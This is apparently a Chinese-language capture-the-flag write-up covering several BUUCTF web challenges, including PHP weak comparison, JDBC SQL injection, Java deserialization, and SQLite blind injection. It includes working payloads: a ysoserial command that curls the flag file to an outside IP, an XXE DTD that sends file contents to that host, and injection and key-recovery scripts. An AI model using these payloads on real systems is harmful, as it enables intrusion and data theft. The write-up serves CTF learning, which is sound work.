BUUCTF记录3
BUU第三份
[极客大挑战 2020]Roamphp2-Myblog
明显的文件读取,login中能看到登录密码生成逻辑,完全随机,没法直接拿到
<?php
$secret_seed = mt_rand();
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
print($_SESSION['password']);
?>
看登录逻辑
<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
die();
}
?>
<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
$tmp_file = $_FILES['Files']['name'];
$tmp_path = $_FILES['Files']['tmp_name'];
if(($extension = pathinfo($tmp_file)['extension']) != ""){
$allows = array('gif','jpeg','jpg','png');
if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
} else {
echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
}
}
}
?>
可以看到密码验证中有一个弱比较,传入password为空直接绕过,然后就是文件上传,逻辑就是只能传图片,但是并没有限制文件内容,那phar或者zip吧内容打包都可以(因为触发还需要index中的include xxx.php,所以文件只能以php结尾),记得拦截包修改一下username和password参数,不然直接退出了
flag{fa7bcb65-99a0-4643-93c2-93cacaaf442c}
[网鼎杯 2020 朱雀组]Think Java
嘿嘿做的第一道Java题,记录一下Java应该怎么入手,首先目录扫描,扫出了swagger-ui.html
,可以看到这个web页面使用的所有API
看代码是/common/test/sqlDict
这一路径的调用,其中dbName是我们传参内容,跟进其中的SqlDict.getTableData,查看getConnection方法,其中本质是通过jdbc接口进行数据库连接,而jdbc在解析数据库时类似于对URL的解析
JDBC 的 URL 也类似 http 请求中的 URL,也可以使用锚点 # 或者 ? 如:jdbc:mysql://mysqldbserver:3306/myapp#’ union select 2#
也就是#后面的内容会被忽略,但是这部分信息依然会被传递到dbName参数中进行接下来的查询
那我们就可以直接构造出sql注入的语句
dbName=myapp#' union select group_concat(name,0x3a,pwd)from user#
构造出的语句
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = 'myapp#' union select group_concat(name,0x3a,pwd)from user#后面的不重要
拿到用户名和密码admin:admin@Rrrr_ctf_asde
登录成功拿到token,发现是Java序列化后内容
并且将内容提交到currentAPI中时,也会返回用户信息,yso构造序列化攻击即可
/Users/jlan/Library/Java/JavaVirtualMachines/azul-1.8.0_332/Contents/Home/bin/java -jar /Users/jlan/Documents/Tools/ysoserial-all.jar ROME "curl http://182.61.46.138:1000 -d @/flag" |base64
[GKCTF 2021]babycat
快乐java题,靶机启动真的好慢,上来就是一个nt登录界面,登录不行,注册未开放
但是点击注册查看源代码发现是注册逻辑被注释,按照注释的逻辑构造payload注册,成功注册并登录
进入主页发电文件上传需要admin权限,并且在download存在文件泄露,先看web.xml内容,根据内容将class文件依次下载,下面我们主要查看uploadServlet和registerServlet
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<servlet>
<servlet-name>register</servlet-name>
<servlet-class>com.web.servlet.registerServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>login</servlet-name>
<servlet-class>com.web.servlet.loginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>home</servlet-name>
<servlet-class>com.web.servlet.homeServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>upload</servlet-name>
<servlet-class>com.web.servlet.uploadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>download</servlet-name>
<servlet-class>com.web.servlet.downloadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>logout</servlet-name>
<servlet-class>com.web.servlet.logoutServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>logout</servlet-name>
<url-pattern>/logout</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>download</servlet-name>
<url-pattern>/home/download</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>register</servlet-name>
<url-pattern>/register</url-pattern>
</servlet-mapping>
<display-name>java</display-name>
<servlet-mapping>
<servlet-name>login</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>home</servlet-name>
<url-pattern>/home</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>upload</servlet-name>
<url-pattern>/home/upload</url-pattern>
</servlet-mapping>
<filter>
<filter-name>loginFilter</filter-name>
<filter-class>com.web.filter.LoginFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>loginFilter</filter-name>
<url-pattern>/home/*</url-pattern>
</filter-mapping>
<display-name>java</display-name>
<welcome-file-list>
<welcome-file>/WEB-INF/index.jsp</welcome-file>
</welcome-file-list>
</web-app>
那我们该如何成为admin呢,直接看注册类中的关键代码
if (!StringUtils.isNullOrEmpty(role)) {
var = var.replace(role, "\"role\":\"guest\"");
person = (Person)gson.fromJson(var, Person.class);
} else {
person = (Person)gson.fromJson(var, Person.class);
person.setRole("guest");
}
此处对我们传入的data注册信息进行了处理,将role的json内容换成了guest,也就是说我们直接更改data中的role属性是行不通的,这里我们可以使用unicode字符绕过,并且在属性中多添加一层内容使其中包含了role属性来确保我们能够进入第一个判断,构造出的payload如下
注册成功并且成功进入文件上传界面
传一个jsp马到static目录下连接即可
但是似乎buu的这个版本是修复后的,对文件内容进行了过滤,没法传🐎,我有什么办法(
[HarekazeCTF2019]Sqlite Voting
源码全是过滤
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
header("Content-Type: text/json; charset=utf-8");
// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}
// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
// succeeded!
echo json_encode([
'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);
没见过的sqlite,题解
解题思路是利用sqlite逻辑报错进行盲注,abs函数存在整型溢出
利用ifnull,nullif注入flag长度
abs(ifnull(nullif(length((SELECT(flag)from(flag))),{i}),0x8000000000000000))
这句语句的意思是,如果前面的length的值等于我们传入i的值,那么nullif就会返回null,如果返回了null那么ifnull就会返回后面的值,此时abs溢出报错,可以拿到flag长度
import requests
url = "http://ba37c8a1-58fb-4250-a1f0-236c553ac9d6.node4.buuoj.cn:81/vote.php"
for i in range(1,100):
data = {
'id':f'abs(ifnull(nullif(length((SELECT(flag)from(flag))),{i}),0x8000000000000000))'
}
rep = requests.post(url,data=data)
print(data)
if 'An error occurred' in rep.text:
print('length: '+str(i))
break
然后通过||来拼接字符,通过replace来进行逐位猜测,通过返回的长度来做判断,而对于字母则使用hex来提取
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' # 'zebra' → '7A65627261'
table['C'] = 'trim(hex(typeof(.1)),12567)' # 'real' → '7265616C'
table['D'] = 'trim(hex(0xffffffffffffffff),123)' # 0xffffffffffffffff = -1 → '2D31'
table['E'] = 'trim(hex(0.1),1230)' # 0.1 → 302E31
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' # 'dog' → '646F67'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})' # 'koala' → '6B6F616C61'
最终通过脚本拿到flag
[网鼎杯 2020 青龙组]filejava
一个上传,上传之后可以下载,看到链接里面有文件名,尝试目录穿越拿web.xml文件
下载class(../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
)进行反编译,得到源码,我们直接看上传的关键部分
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
此处使用poi-ooxml-3.10
来解析数据,这个版本有漏洞可导致XXE,CVE-2014-3529
那么就直接利用,首先在自己服务器上放一个f.dtd
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://182.61.46.138?p=%file;'>">
然后更改xlsx中的[Content_Types].xml文件,添加如下内容
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://182.61.46.138/f.dtd">
%remote;%int;%send;
]>
重新压缩上传即可接收flag
[HXBCTF 2021]easywill
跟源码,后面再补
[羊城杯 2020]EasySer
不给源码就是纯纯有病的谜语题,给了源码简单多了,正常序列化使用base64绕过die即可
[JMCTF 2021]UploadHub
.htaccess
[红明谷CTF 2021]JavaWeb
java,进去就是让我们login,login页面让我们访问json,但是没权限需要先登录,那就尝试传入登录,登录失败,但是看响应头
setCookie中的deleteMe可以确认使用的是shiro框架(我也不知道为啥
那么首先使用CVE-2020-11989来进行Apache Shiro权限绕过,加个/;/json来直接访问json
然后使用CVE-2019-14439的反序列化链打进去,用JNDI-Injection-Exploit来生成payload
[HCTF 2018]Hideandseek
登录,任意输入除admin之外的用户名和密码,然后就让上传zip,第一件事就想到软连接,确实可以
那读一下源码吧,盲猜是个python,proc读试试,事实证明直接莽是没什么卵子用的,还是乖乖读了environ,然后/app/main.py读源码
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)
看代码读一下随机数的种子
import uuid
import random
mac = "0e:48:30:60:37:27"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr)#69.83331307187989
剩下就是伪造拿flag
[FBCTF2019]Products Manager
有源码,是基于约束的SQL攻击,直接给payload
name=facebook 1111
Secret=
des=